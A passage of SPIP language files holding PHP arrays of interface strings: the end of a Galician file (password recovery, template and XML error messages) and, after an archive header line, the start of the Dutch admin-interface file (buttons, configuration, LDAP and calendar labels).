'pass_choix_pass' => 'Elixa súa nova chave:',
'pass_erreur' => 'Erro',
'pass_erreur_acces_refuse' => '<b>Erro:</b> xa non ten acceso a este web.',
'pass_erreur_code_inconnu' => '<b>Erro:</b> este código non se corresponde con ninguén con acceso a este web.',
'pass_erreur_non_enregistre' => '<b>Erro:</b> o enderezo <tt>@email_oubli@</tt> non foi rexistrado neste web.',
'pass_erreur_non_valide' => '<b>Erro:</b> o correo-e. <tt>@email_oubli@</tt> non é válido!',
'pass_erreur_probleme_technique' => '<b>Erro:</b> debido a un problema técnico, a mensaxe de correo non puido ser enviada.',
'pass_espace_prive_bla' => 'O espazo privado deste web está aberto ás
visitas, logo de se rexistrar. Unha vez que se rexistre,
poderá consultar os artigos en proceso de redacción,
propor novos artigos e participar en todos os foros.',
'pass_forum_bla' => 'Solicitou participar nun foro reservado para os visitantes rexistrados.',
'pass_indiquez_cidessous' => 'Indique aquí embaixo o enderezo do correo co que se
rexistrara no seu momento. Recibirá un correo indicándolle os pasos a seguir para
recuperar o seu acceso.',
'pass_mail_passcookie' => '(esta é unha mensaxe automática)
Para recuperar o seu acceso a
@nom_site_spip@ (@adresse_site@)
Diríxase ao seguinte enderezo:
@sendcookie@
Daquela, poderá elixir unha nova chave
e reconectar co web.
',
'pass_mot_oublie' => 'Chave esquecida',
'pass_nouveau_enregistre' => 'A súa nova chave foi rexistrada.',
'pass_nouveau_pass' => 'Nova chave',
'pass_ok' => 'ben',
'pass_oubli_mot' => 'Chave esquecida',
'pass_quitter_fenetre' => 'Pechar esta xanela',
'pass_rappel_login' => 'Lembra: o teu identificador (login) é « @login@ «.',
'pass_recevoir_mail' => 'Recibirás un correo indicándote os pasos a seguir para recuperar o teu acceso.',
'pass_retour_public' => 'Volver ao web público',
'pass_rien_a_faire_ici' => 'Non hai nada que facer aquí.',
'pass_vousinscrire' => 'Inscríbase neste web',
'precedent' => 'anterior',
'previsualisation' => 'Previsualización',
'previsualiser' => 'Previsualizar',
// R
'retour' => 'Volver',
// S
'spip_conforme_dtd' => 'SPIP considera este documento conforme co seu DOCTYPE :',
'squelette' => 'esqueleto',
'squelette_inclus_ligne' => 'esqueleto incluído, liña',
'squelette_ligne' => 'esquelto, liña',
'stats_visites_et_popularite' => '@visites@ visitas; popularidade: @popularite@',
'suivant' => 'seguinte',
// T
'taille_ko' => '@taille@ KB',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'Cando xa estea familiarizado/a coa interface, poderá premer sobre «',
'texte_actualite_site_2' => 'interface completa',
'texte_actualite_site_3' => '» para obter máis posibilidades.',
'texte_creation_automatique_vignette' => 'A creación automática de viñetas de previsualización está activada. Se emprega este formulario para subir ao servidor imaxes no(s) formato(s) @gd_formats@, irán acompañadas dunha viñeta cun tamaño máximo de @taille_preview@ píxels.',
'texte_documents_associes' => 'Os seguintes documentos están vencellados ao artigo,
mais non foron inseridos directamente. Dependendo do formato da páxina no web público,
poderán aparecer en forma de documentos anexos.',
'texte_erreur_mise_niveau_base' => 'Hai un erro na base de datos tras a actualización.
A imaxe <b>@fichier@</b> non foi engadida ao (artigo @id_article@).
Tome nota deste aviso, reintente a actualización,
e finalmente verifique que as imaxes aparecen sempre
nos artigos.',
'texte_erreur_visiteur' => 'Vostede tentou de acceder ao espazo privado cun identificador que non llo permite',
'texte_inc_auth_1' => 'Identificouse co
identificador <b>@auth_login@</b>, mais este non existe na base de datos.
Probe',
'texte_inc_auth_2' => 'reconectar',
'texte_inc_auth_3' => ', despois de reiniciar o seu navegador.',
'texte_inc_config' => 'As modificacións que faga nestas páxinas influirán notábelmente no
funcionamento do web. Recoméndaselle non as modificar namentres que non estea
un pouco ao tanto do funcionamento do sistema SPIP.
<br /><br /><b>En xeral, é moi recomendábel que estas páxinas sexan
xestionadas polo/a webmáster principal do web.</b>',
'texte_inc_meta_1' => 'O sistema encontrou un erro tras a escritura do ficheiro <code>@fichier@</code>. Revíseo co perfil de administrador/a do web.',
'texte_inc_meta_2' => 'Comprobar os permisos de escritura',
'texte_inc_meta_3' => 'no cartafol <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'en proceso de redacción',
'texte_statut_poubelle' => 'no lixo',
'texte_statut_propose_evaluation' => 'proposto para avaliación',
'texte_statut_publie' => 'publicado en liña',
'texte_statut_refuse' => 'rexeitado',
'titre_ajouter_mot_cle' => 'ENGADIR UNHA PALABRA-CLAVE:',
'titre_cadre_raccourcis' => 'ATALLOS:',
'titre_changer_couleur_interface' => 'Trocar a cor da interface',
'titre_image_admin_article' => 'Podes administrar este artigo',
'titre_image_administrateur' => 'Xestión',
'titre_image_aide' => 'Axuda sobre este elemento',
'titre_image_auteur_supprime' => 'Autor/a suprimido',
'titre_image_redacteur' => 'Redactor/a sen acceso',
'titre_image_redacteur_02' => 'Redactor/a',
'titre_image_visiteur' => 'Visitante',
'titre_joindre_document' => 'ANEXAR UN DOCUMENTO',
'titre_mots_cles' => 'PALABRAS-CLAVE',
'titre_probleme_technique' => 'Atención: un problema técnico (servidor SQL) impide o acceso a esta parte do web. Grazas pola súa comprensión.',
'titre_publier_document' => 'PUBLICAR UN DOCUMENTO NESTE TEMA',
'titre_signatures_attente' => 'Sinaturas en espera de validación',
'titre_signatures_confirmees' => 'Sinaturas confirmadas',
'titre_statistiques' => 'Estatísticas do web',
'titre_titre_document' => 'Título do documento:',
'todo' => 'próximos',
'trad_reference' => '(referencia de traducions)',
// Z
'zbug_balise_b_aval' => ' : baliza B en aval',
'zbug_balise_inexistante' => 'A baliza @balise@ está mal declarada para @from@',
'zbug_balise_sans_argument' => 'Falta o argumento na baliza @balise@',
'zbug_boucle' => 'bucle',
'zbug_boucle_recursive_undef' => 'Bucle recursivo non definido: @nom@',
'zbug_calcul' => 'cálculo',
'zbug_champ_hors_boucle' => 'Campo @champ@ fóra de bucle',
'zbug_champ_hors_motif' => 'Campo @champ@ fóra dun contexto @motif@',
'zbug_code' => 'código',
'zbug_critere_inconnu' => 'Criterio descoñecido @critere@',
'zbug_distant_interdit' => 'Base externa prohibida',
'zbug_doublon_table_sans_cle_primaire' => 'Doublons sobre unha táboa sen clave primaria atómica',
'zbug_doublon_table_sans_index' => 'Doublons nunha táboa sen index',
'zbug_erreur_boucle_double' => 'Dobre definición do boucle @id@',
'zbug_erreur_boucle_fermant' => 'Falta o cerre do bucle @id@',
'zbug_erreur_boucle_syntaxe' => 'Sintaxe de bucle incorrecta',
'zbug_erreur_compilation' => 'Erro de compilación',
'zbug_erreur_execution_page' => 'Erro de execución',
'zbug_erreur_filtre' => 'Filtro @filtre@ non definido',
'zbug_erreur_meme_parent' => 'O criterio {meme_parent} non é aplicábel máis que aos bucles (FORUMS) ou (RUBRIQUES)',
'zbug_erreur_squelette' => 'Erro(s) no esqueleto',
'zbug_hors_compilation' => 'Deixar compilación',
'zbug_info_erreur_squelette' => 'Erro no web',
'zbug_inversion_ordre_inexistant' => 'Inversión dunha orde inexistente',
'zbug_pagination_sans_critere' => 'A baliza #PAGINATION está sen criterio {pagination} ou está empregada nun bucle recursivo',
'zbug_parametres_inclus_incorrects' => 'Parámetro de inclusión incorrecto: @param@',
'zbug_profile' => 'Tempo de cálculo : @time@',
'zbug_resultat' => 'resultado',
'zbug_serveur_indefini' => 'Servidor SQL non definido',
'zbug_statistiques' => 'Estatísticas de consultas SQL ordenadas por duración',
'zbug_table_inconnue' => 'Táboa SQL « @table@ » descoñecida',
'zxml_connus_attributs' => 'atributos coñecidos',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'atributo descoñecido',
'zxml_inconnu_balise' => 'baliza descoñecida',
'zxml_inconnu_entite' => 'entidade descoñecida',
'zxml_inconnu_id' => 'ID descoñecida',
'zxml_mais_de' => 'mais de',
'zxml_non_conforme' => 'non é conforme co motivo',
'zxml_non_fils' => 'non é un fío de',
'zxml_nonvide_balise' => 'a baliza non está baleira',
'zxml_obligatoire_attribut' => 'atributo obrigatorio mais ausente en',
'zxml_succession_fils_incorrecte' => 'sucesión de fíos incorrecta',
'zxml_survoler' => 'sobrevoar para ver os correctos',
'zxml_valeur_attribut' => 'valor do atributo',
'zxml_vide_balise' => 'baliza baleira',
'zxml_vu' => 'vista previa'
);
?>
ecrire_nl.php 0000666 00000222141 15252547432 0007236 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Plugin activeren',
'affichage' => 'Display',
'aide_non_disponible' => 'Dit deel van de online handleiding is nog niet beschikbaar in het Nederlands.',
'annuler_recherche' => 'Zoekopdracht stoppen',
'auteur' => 'Auteur :',
'avis_acces_interdit' => 'Toegang verboden',
'avis_article_modifie' => 'Opgelet, @nom_auteur_modif@ heeft @date_diff@ minuten geleden aan dit artikel gewerkt.',
'avis_aucun_resultat' => 'Geen resultaat.',
'avis_base_inaccessible' => 'Kan geen verbinding met de database @base@.',
'avis_chemin_invalide_1' => 'De toegang die je hebt gekozen',
'avis_chemin_invalide_2' => 'lijkt niet geldig. Gelieve terug te keren naar de vorige pagina en de ingevulde gegevens na te kijken.',
'avis_connexion_echec_1' => 'De verbinding met de database is mislukt.',
'avis_connexion_echec_2' => 'Keer terug naar de vorige pagina en kijk de gegevens na die je hebt ingevuld.',
'avis_connexion_echec_3' => '<b>N.B.</b> Op veel servers dien je de activatie van je toegang tot de database te <b>vragen</b> vooraleer je ze kan gebruiken. Als je geen verbinding kan maken, kijk dan na of je deze actie hebt ondernomen..',
'avis_connexion_erreur_nom_base' => 'De databasenaam kan enkel letters, cijfers en koppeltekens bevatten',
'avis_connexion_ldap_echec_1' => 'De verbinding met de LDAP-server is mislukt.',
'avis_connexion_ldap_echec_2' => 'Ga terug naar de vorige pagina en kijk na of de ingevulde gegevens correct zijn.',
'avis_connexion_ldap_echec_3' => 'Andere mogelijkheid is om de LDAP-ondersteuning om gebruikers in te voeren niet te gebruiken.',
'avis_deplacement_rubrique' => 'Opgelet! Deze rubiek bevat @contient_breves@ brève@scb@: als je haar verplaatst, gelieve dit te bevestigen door hier het vakje aan te vinken.',
'avis_destinataire_obligatoire' => 'Je dient een bestemmeling op te geven vooraleer dit bericht te verzenden.',
'avis_erreur_connexion_mysql' => 'Verbinding met de SQL connectie mislukt',
'avis_erreur_version_archive' => '<b>Aandacht! Het bestand @archive@is een andere versie van SPIP dan je hebt geïnstalleerd.</b> Dan kan tot grote problemen leiden : het risico van het vernietigen van je basis gegevens, het niet functioneren van de site, enz... Bevestig de vraag tot importeren niet.
<p>Meer info kan je vinden op <a href="@spipnet@"> de documentatie van SPIP</a>.</p>',
'avis_espace_interdit' => '<b>Toegang Verboden</b><div>SPIP is reeds geïnstalleerd.',
'avis_lecture_noms_bases_1' => 'Het installatieprogramma heeft de namen van de geïnstalleerde databanken niet kunnen lezen.',
'avis_lecture_noms_bases_2' => 'Geen enkele database is beschikbaar, ofwel is de functie die de databases zou moeten tonen, niet geactiveerd omwille van veiligheidsredenen (wat vaak het geval is bij providers).',
'avis_lecture_noms_bases_3' => 'In het andere geval is het heel waarschijnlijk dat een database met uw aanmeldingsnaam (login) bruikbaar is:',
'avis_non_acces_message' => 'Je hebt geen toegang tot dit bericht.',
'avis_non_acces_page' => 'Je hebt geen toegang tot deze pagina.',
'avis_operation_echec' => 'De bewerking is mislukt.',
'avis_operation_impossible' => 'Onmogelijke verrichting',
'avis_probleme_archive' => 'Probleem om het bestand @archive@ te lezen.',
'avis_suppression_base' => 'OPGELET, het wissen van de gegevens is onomkeerbaar',
'avis_version_mysql' => 'De gebruikte SQL server versie (@version_mysql@) laat een automatische herstelling van tabellen uit de databank niet toe.',
// B
'bouton_acces_ldap' => 'LDAP toegang toevoegen',
'bouton_ajouter' => 'Toevoegen',
'bouton_ajouter_participant' => 'EEN DEELNEMER TOEVOEGEN:',
'bouton_annonce' => 'AANKONDIGING',
'bouton_annuler' => 'Annuleren',
'bouton_cache_activer' => 'Buffer (cache) reactiveren',
'bouton_cache_desactiver' => 'Buffer (cache) tijdelijk uitschakelen',
'bouton_checkbox_envoi_message' => 'mogelijkheid om een bericht te versturen',
'bouton_checkbox_indiquer_site' => 'verplicht een website opgeven',
'bouton_checkbox_signature_unique_email' => 'een enkele handtekening per e-mail adres',
'bouton_checkbox_signature_unique_site' => 'een enkele handtekening per website',
'bouton_demande_publication' => 'De publicatie van het artikel vragen',
'bouton_desactive_tout' => 'Alles desactiveren',
'bouton_desinstaller' => 'Terugtrekken',
'bouton_effacer_index' => 'Index verwijderen',
'bouton_effacer_tout' => 'ALLES wissen',
'bouton_envoi_message_02' => 'EEN BERICHT VERZENDEN',
'bouton_envoyer_message' => 'Definitief bericht : versturen',
'bouton_fermer' => 'Sluiten',
'bouton_mettre_a_jour_base' => 'Database update',
'bouton_modifier' => 'Wijzigen',
'bouton_pense_bete' => 'MEMO VOOR PERSOONLIJK GEBRUIK',
'bouton_radio_activer_messagerie' => 'Intern berichtensysteem activeren',
'bouton_radio_activer_messagerie_interne' => 'Intern berichtensysteem activeren',
'bouton_radio_activer_petition' => 'Petitie activeren',
'bouton_radio_afficher' => 'Tonen',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Opnemen in de lijst van online redacteuren',
'bouton_radio_desactiver_messagerie' => 'Intern berichtensysteem desactiveren',
'bouton_radio_envoi_annonces_adresse' => 'Aankondigingen verzenden naar dit adres :',
'bouton_radio_envoi_liste_nouveautes' => 'De lijst met nieuwe bijdragen versturen',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Niet opnemen in de lijst van redacteuren',
'bouton_radio_non_envoi_annonces_editoriales' => 'Geen editoriale aankondigingen versturen',
'bouton_radio_pas_petition' => 'Geen petitie',
'bouton_radio_petition_activee' => 'Petitie geactiveerd',
'bouton_radio_supprimer_petition' => 'De petitie verwijderen',
'bouton_redirection' => 'OMLEIDING',
'bouton_relancer_installation' => 'Installatie herbeginnen',
'bouton_suivant' => 'Volgende',
'bouton_tenter_recuperation' => 'Poging tot herstel',
'bouton_test_proxy' => 'Proxy proberen',
'bouton_vider_cache' => 'De buffer (cache) leegmaken',
'bouton_voir_message' => 'Dit bericht bekijken alvorens het goed te keuren',
// C
'cache_mode_compresse' => 'Bestanden in de buffer worden gecomprimeerd opgeslaan.',
'cache_mode_non_compresse' => 'Bestanden in de buffer zijn niet gecomprimeerd opgeslaan.',
'cache_modifiable_webmestre' => 'Deze parameter kan door de webmaster van de site gewijzigd worden.',
'calendrier_synchro' => 'Wanneer je <b>iCal</b> compatibele agendasoftware gebruikt, kan je deze synchroniseren met informatie van deze site.',
'config_activer_champs' => 'De volgende velden activeren',
'config_choix_base_sup' => 'een databank op deze server kiezen',
'config_erreur_base_sup' => 'SPIP heeft geen toegang tot de lijst van toegankelijke databanken',
'config_info_base_sup' => 'Als u andere databases hebt om door SPIP te ondervragen, met zijn SQL server of andere, kan je deze via onderstaand formulier opgeven. Als u bepaalde velden laat laat, zullen de identificatiegegevens van de primaire databank gebruikt worden.',
'config_info_base_sup_disponibles' => 'De reeds bevraagbare bijkomende databanken:',
'config_info_enregistree' => 'De nieuwe configuratie werd bewaard',
'config_info_logos' => 'Elk element van de site kan een logo hebben, evenals een « zwevend logo »',
'config_info_logos_utiliser' => 'De logo’s gebruiken',
'config_info_logos_utiliser_non' => 'De logo’s niet gebruiken',
'config_info_logos_utiliser_survol' => 'De zwevende logo’s gebruiken',
'config_info_logos_utiliser_survol_non' => 'Geen zwevende logo’s gebruiken',
'config_info_redirection' => 'Door deze optie te activeren, kan je virtuele artikels maken, eenvoudige verwijzen naar gepubliceerde artikelen op andere sites, ook buiten SPIP.',
'config_redirection' => 'Virtuele artikelen',
'config_titre_base_sup' => 'Verklaring van een aanvullende basis',
'config_titre_base_sup_choix' => 'Kiest een aanvullende basis',
'connexion_ldap' => 'Aansluiten :',
'copier_en_local' => 'Lokaal kopiëren',
'creer_et_associer_un_auteur' => 'Maken en associëren een auteur',
'creer_et_associer_une_rubrique' => 'Een rubriek aanmaken en koppelen',
// D
'date_mot_heures' => 'uur',
// E
'ecran_securite' => '+ beveiliging scherm @version@',
'email' => 'e-mail',
'email_2' => 'e-mail:',
'en_savoir_plus' => 'Meer weten hierover',
'entree_adresse_annuaire' => 'Plaats van het adresboek',
'entree_adresse_email' => 'Uw e-mail adres',
'entree_adresse_email_2' => 'E-mail adres',
'entree_base_donnee_1' => 'Adres van de databank',
'entree_base_donnee_2' => '(Vaak komt dit adres overeen met dat van je website, soms is het gewoon de vermelding«localhost» of kan je het veld blanco laten.)',
'entree_biographie' => 'Korte biografie in enkele woorden.',
'entree_chemin_acces' => '<b>Invullen</b> van de toegangscode :',
'entree_cle_pgp' => 'Je PGP-sleutel',
'entree_cle_pgp_2' => 'PGP-sleutel',
'entree_contenu_rubrique' => '(Inhoud van de rubriek in enkele woorden)',
'entree_identifiants_connexion' => 'Je verbindingsgegevens...',
'entree_identifiants_connexion_2' => 'Login',
'entree_informations_connexion_ldap' => 'Vul hier de gegevens in om verbinding te maken met het LDAP adresboek. Deze gegevens kan je bekomen bij de systeem- of netwerkbeheerder.',
'entree_infos_perso' => 'Wie ben je ?',
'entree_infos_perso_2' => 'Wie is de auteur ?',
'entree_interieur_rubrique' => 'In de rubriek:',
'entree_liens_sites' => '<b>Hypertext link</b> (verwijzing, te bezoeken website ...)',
'entree_login' => 'Je login',
'entree_login_connexion_1' => 'De login voor de verbinding',
'entree_login_connexion_2' => '(Komt soms overeen met je FTP-loginnaam; soms wordt dit niet ingevuld)',
'entree_login_ldap' => 'Eerste LDAP-login',
'entree_mot_passe' => 'Je paswoord',
'entree_mot_passe_1' => 'Paswoord voor deze verbinding ',
'entree_mot_passe_2' => '(Komt vaak overeen met je paswoord voor FTP-toegang; soms kan je dit ook blanco laten)',
'entree_nom_fichier' => 'Vul hier de naam in van het betand @texte_compresse@:',
'entree_nom_pseudo' => 'je naam of bijnaam',
'entree_nom_pseudo_1' => '(je naam of bijnaam)',
'entree_nom_pseudo_2' => 'Naam of bijnaam',
'entree_nom_site' => 'De websitenaam',
'entree_nom_site_2' => 'Naam van de site van de auteur',
'entree_nouveau_passe' => 'nieuw paswoord',
'entree_passe_ldap' => 'Paswoord',
'entree_port_annuaire' => 'Het poortnummer van het adresboek',
'entree_signature' => 'Handtekening',
'entree_titre_obligatoire' => '<b>Titel</b> [verplicht]<br />',
'entree_url' => 'Je website-adres (URL)',
'entree_url_2' => 'Adres van de site (URL)',
'erreur_connect_deja_existant' => 'Een server met die naam bestaat al',
'erreur_nom_connect_incorrect' => 'Deze server naam is niet toegestaan',
'erreur_plugin_desinstalation_echouee' => 'Het verwijderen van de plugin is mislukt. Echter, kunt u deze uitschakelen.',
'erreur_plugin_fichier_absent' => 'Bestand ontbreekt',
'erreur_plugin_fichier_def_absent' => 'Definitiebestand ontbreekt',
'erreur_plugin_nom_fonction_interdit' => 'Functienaam verboden',
'erreur_plugin_nom_manquant' => 'Naam van de ontbrekende plugin',
'erreur_plugin_prefix_manquant' => 'Ruimte van plugin naam is niet gedefinieerd',
'erreur_plugin_tag_plugin_absent' => '<plugin> ontbreekt in het definitiebestand',
'erreur_plugin_version_manquant' => 'Versie van de ontbrekende plugin',
// H
'htaccess_a_simuler' => 'Waarschuwing: De configuratie van de HTTP-server negeert @htaccess@ bestanden . Om een goede beveiliging,te hebben, moet u deze configuratie wijzigen, of de constanten @constantes@ (definieerbaar in het bestand mes_options.php) laten verwijzen naar mappen buiten @document_root@. ', # Je ne vois pas la modif ! La trad reste valable.
'htaccess_inoperant' => 'htaccess niet werkt',
// I
'ical_info1' => 'Deze pagina toont de verschillende wijzen waarop je contact kan houden met het gebeuren van deze website.',
'ical_info2' => 'Voor meer inlichtingen over al deze technieken, aarzelt niet om <a href=" @spipnet@" te raadplegen >de documentatie van SPIP</a>.',
'ical_info_calendrier' => 'Twee kalenders zijn beschikbaar. De eerste geeft een overzicht van alle gepubliceerde artikels. De tweede bevat editoriale berichten en je meest recente privé-berichten : deze tweede kalender is afgeschermd voor andere gebruikers door een persoonlijke sleutel die je op elk moment kan wijzigen door je paswoord te vernieuwen.',
'ical_methode_http' => 'Downloaden',
'ical_methode_webcal' => 'Synchronisatie (webcal://)',
'ical_texte_js' => 'Met een javascriptregel kan je op eenvoudige wijze de meest recente artikels van deze site weergeven op een andere site die je beheert.',
'ical_texte_prive' => 'Deze kalender is voor persoonlijk gebruik en houdt je op de hoogte van je eigen editoriale activiteit (taken en persoonlijke afspraken, voorgestelde artikels en nieuwsberichten...).',
'ical_texte_public' => 'Via deze kalender kan je de publieke activiteit van de site volgen (gepubliceerde artikels en berichten).',
'ical_texte_rss' => 'Je kan de nieuwe berichten van de site overnemen (syndiceren) op een andere site in eender welke bestandslezer via het formaat XML/RSS (Rich Site Summary). Dit is hetzelfde formaat dat SPIP toelaat nieuws over te nemen van andere sites die een uitwisselbaar formaat hanteren (gesyndiceerde sites).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailinglijst',
'ical_titre_rss' => 'Syndicatiebestanden',
'icone_accueil' => 'Home',
'icone_activer_cookie' => 'De toegangskoekie activeren',
'icone_activite' => 'Activiteit',
'icone_admin_plugin' => 'Plugin beheer',
'icone_administration' => 'Onderhoud',
'icone_afficher_auteurs' => 'Auteurs tonen',
'icone_afficher_visiteurs' => 'Bezoekers tonen',
'icone_arret_discussion' => 'Niet langer deelnemen aan deze discussie',
'icone_calendrier' => 'Kalender',
'icone_configuration' => 'Configuratie',
'icone_creer_auteur' => 'Een nieuwe auteur aanmaken en koppelen aan dit artikel',
'icone_creer_mot_cle' => 'Een nieuw trefwoord aanmaken en koppelen aan dit artikel',
'icone_creer_mot_cle_rubrique' => 'Een nieuw sleutelwoord creëren en het binden aan deze rubriek',
'icone_creer_mot_cle_site' => 'Een nieuw sleutelwoord creëren en het binden aan deze site',
'icone_creer_rubrique_2' => 'Een nieuwe rubriek aanmaken',
'icone_edition' => 'Items',
'icone_envoyer_message' => 'Bericht verzenden',
'icone_ma_langue' => 'Mijn taal',
'icone_mes_infos' => 'Mijn informatie',
'icone_mes_preferences' => 'Mijn Voorkeuren',
'icone_modifier_article' => 'Dit artikel wijzigen',
'icone_modifier_message' => 'Bericht wijzigen',
'icone_modifier_rubrique' => 'Deze rubriek wijzigen',
'icone_publication' => 'Publicatie',
'icone_relancer_signataire' => 'De ondertekenaar weer op gang brengen',
'icone_retour' => 'Terug',
'icone_retour_article' => 'Terug naar artikel',
'icone_squelette' => 'Skeletten',
'icone_suivi_publication' => 'Publicaties volgen',
'icone_supprimer_cookie' => 'De toegangskoekie verwijderen',
'icone_supprimer_rubrique' => 'Deze rubriek wissen',
'icone_supprimer_signature' => 'Deze naam wissen',
'icone_valider_signature' => 'Deze naam goedkeuren',
'image_administrer_rubrique' => 'Je kan deze rubriek beheren',
'impossible_modifier_login_auteur' => 'Kan niet veranderen login.',
'impossible_modifier_pass_auteur' => 'Kan wachtwoord niet wijzigen.',
'info_1_article' => '1 artikel',
'info_1_article_syndique' => 'Gesyndiceerde 1 artikel',
'info_1_auteur' => '1 auteur',
'info_1_message' => '1 bericht',
'info_1_mot_cle' => '1 trefwoord',
'info_1_rubrique' => '1 rubriek',
'info_1_site' => '1 site',
'info_1_visiteur' => '1 bezoeker',
'info_activer_cookie' => 'Je kan een <b>toegangskoekie</b> activeren, waardoor je makkelijk kan wisselen tussen de het publieke en het private deel van de website.',
'info_admin_etre_webmestre' => 'Geef me de taken van de webmaster',
'info_admin_gere_rubriques' => 'Deze auteur beheert de volgende rubrieken :',
'info_admin_gere_toutes_rubriques' => 'Deze beheerder beheert <b>alle onderwerpen</ b>',
'info_admin_gere_toutes_rubriques_2' => 'Ik beheer <b>alle onderwerpen</b>',
'info_admin_je_suis_webmestre' => 'Ik ben <b>webmestre</b>',
'info_admin_statuer_webmestre' => 'Geef deze administrator webmaster rechten',
'info_admin_webmestre' => 'Deze beheerder is <b>webmaster</b>',
'info_administrateur' => 'Beheerder',
'info_administrateur_1' => 'Beheerder',
'info_administrateur_2' => 'van de website (<i>voorzichtig gebruiken</i>)',
'info_administrateur_site_01' => 'Als je beheerder bent van deze site, gelieve',
'info_administrateur_site_02' => 'deze koppeling aan te klikken',
'info_administrateurs' => 'Beheerders',
'info_administrer_rubrique' => 'Je kan deze rubriek beheren',
'info_adresse' => 'aan/naar het adres:',
'info_adresse_url' => 'Adres (URL) van de website',
'info_afficher_par_nb' => 'Tonen',
'info_afficher_visites' => 'Toon het aantal bezoeken voor:',
'info_aide_en_ligne' => 'ONLINE HELP VAN SPIP',
'info_ajout_image' => 'Als je afbeeldingen als bijlage aan een document toevoegt, kan SPIP hiervan automatisch miniaturen aanmaken. Hierdoor kan je bvb. automatisch een fotogalerij of portfolio aanmaken.
',
'info_ajout_participant' => 'De volgende deelnemer is toegevoegd:',
'info_ajouter_rubrique' => 'Een nieuwe rubriek toevoegen om te beheren:',
'info_annonce_nouveautes' => 'Aankondiging van nieuwigheden',
'info_anterieur' => 'vorige',
'info_article' => 'artikel',
'info_article_2' => 'artikels',
'info_article_a_paraitre' => 'Te publiceren artikels met postdatering',
'info_articles_02' => 'artikels',
'info_articles_2' => 'Artikels',
'info_articles_auteur' => 'Artikels van deze auteur',
'info_articles_miens' => 'Mijn artikelen',
'info_articles_tous' => 'Alle artikelen',
'info_articles_trouves' => 'Gevonden artikels',
'info_articles_trouves_dans_texte' => 'Gevonden artikels (in de tekst)',
'info_attente_validation' => 'Je artikels die op goedkeuring wachten',
'info_aucun_article' => 'Geen artikelen',
'info_aucun_article_syndique' => 'Geen gesyndiceerde artikel',
'info_aucun_auteur' => 'Geen auteur',
'info_aucun_message' => 'Geen bericht',
'info_aucun_rubrique' => 'Geen rubriek',
'info_aucun_site' => 'Geen site',
'info_aucun_visiteur' => 'Geen bezoekers',
'info_aujourdhui' => 'vandaag:',
'info_auteur_message' => 'AUTEUR VAN HET BERICHT:',
'info_auteurs' => 'De auteurs',
'info_auteurs_par_tri' => 'Auteur@partri@',
'info_auteurs_trouves' => 'Gevonden auteurs',
'info_authentification_externe' => 'Externe authenticatie',
'info_avertissement' => 'Waarschuwing',
'info_barre_outils' => 'met zijn gereedschapsbalk?',
'info_base_installee' => 'De structuur van je databank is geïnstalleerd.',
'info_bio' => 'biografie',
'info_cache_desactive' => 'De buffer (cache) is tijdelijk uitgeschakeld.',
'info_chapeau' => 'Kop',
'info_chapeau_2' => 'Kop :',
'info_chemin_acces_1' => 'Opties : <b>Toegang tot het adresboek</b>',
'info_chemin_acces_2' => 'Je dient de toegang tot de gegevens uit het adresboek in te stellen. Zonder deze instellingen is het ONmogelijk de gebruikersprofielen in dit adresboek te lezen.',
'info_chemin_acces_annuaire' => 'Opties : <b>Toegang in het adresboek',
'info_choix_base' => 'Derde stap:',
'info_classement_1' => '<sup>ste</sup> op @liste@',
'info_classement_2' => '<sup>de</sup> @liste@',
'info_code_acces' => 'Vergeet je eigen toegangscode niet!',
'info_compatibilite_html' => 'HTML-standaard te volgen',
'info_compresseur_gzip' => 'Het is raadzaam om vooraf te controleren of de gastheer al systematisch te comprimeren php scripts, voor deze kunt u bijvoorbeeld gebruik maken van de volgende dienst : @testgzip@',
'info_compresseur_texte' => 'Als uw server de bladzijdes HTML niet automatisch samendrukt om ze te verzenden naar de internauten, kunt u deze samendrukking proberen te forceren om het gewicht van de gedownloade bladzijdes te verminderen. <b>Aandacht</b>: dat kan bepaalde servers aanzienlijk vertragen.',
'info_config_suivi' => 'Wanneer dit adres van een rondzendlijst is, kan je hieronder het adres opgeven waarlangs deelnemers van de site zich kunnen inschrijven. Dit adres kan een URL zijn (bvb. het webadres voor het inschrijving op de mailinglist), of een e-mailadres met een onderwerp (bvb. <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Je kan je op de mailinglijst van deze site inschrijven. Je zal dan via e-mail een aankondiging ontvangen van artikels en nieuwsberichten die voor publicatie werden voorgesteld.',
'info_confirmer_passe' => 'Bevestig het nieuwe paswoord :',
'info_conflit_edition_avis_non_sauvegarde' => 'Aandacht, de volgende velden werden voorts gewijzigd. Uw wijzigingen op deze velden werden dus niet geregistreerd.',
'info_conflit_edition_differences' => 'Verschillen :',
'info_conflit_edition_version_enregistree' => 'De geregistreerde versie :',
'info_conflit_edition_votre_version' => 'Uw versie :',
'info_connexion_base' => 'Proef van aansluiten aan de basis',
'info_connexion_base_donnee' => 'Aansluiten aan uw database',
'info_connexion_ldap_ok' => 'De LDAP-verbinding is gelukt. </b><p> U kunt doorgaan naar de volgende stap.</p>',
'info_connexion_mysql' => 'Uw aansluiten SQL',
'info_connexion_ok' => 'De verbinding is geslaagd.',
'info_contact' => 'Contact',
'info_contenu_articles' => 'Inhoud van de artikels',
'info_contributions' => 'Bijdragen',
'info_creation_paragraphe' => 'Voor alinea’s te maken, laat je gewoon enkele lijnen blanco.',
'info_creation_rubrique' => 'Alvorens artikelen te kunnen schrijven,<br /> u moet een rubriek minstens creëren.<br />',
'info_creation_tables' => 'Oprichting van tabellen in de databank',
'info_creer_base' => '<b>Creëren</b> een nieuw databank:',
'info_dans_rubrique' => 'In de rubriek:',
'info_date_publication_anterieure' => 'Datum van eerdere redactie :',
'info_date_referencement' => 'DATUM VAN DE KOPPELING VAN DEZE SITE:',
'info_derniere_etape' => 'Gedaan !',
'info_derniers_articles_publies' => 'Je meest recente online artikels',
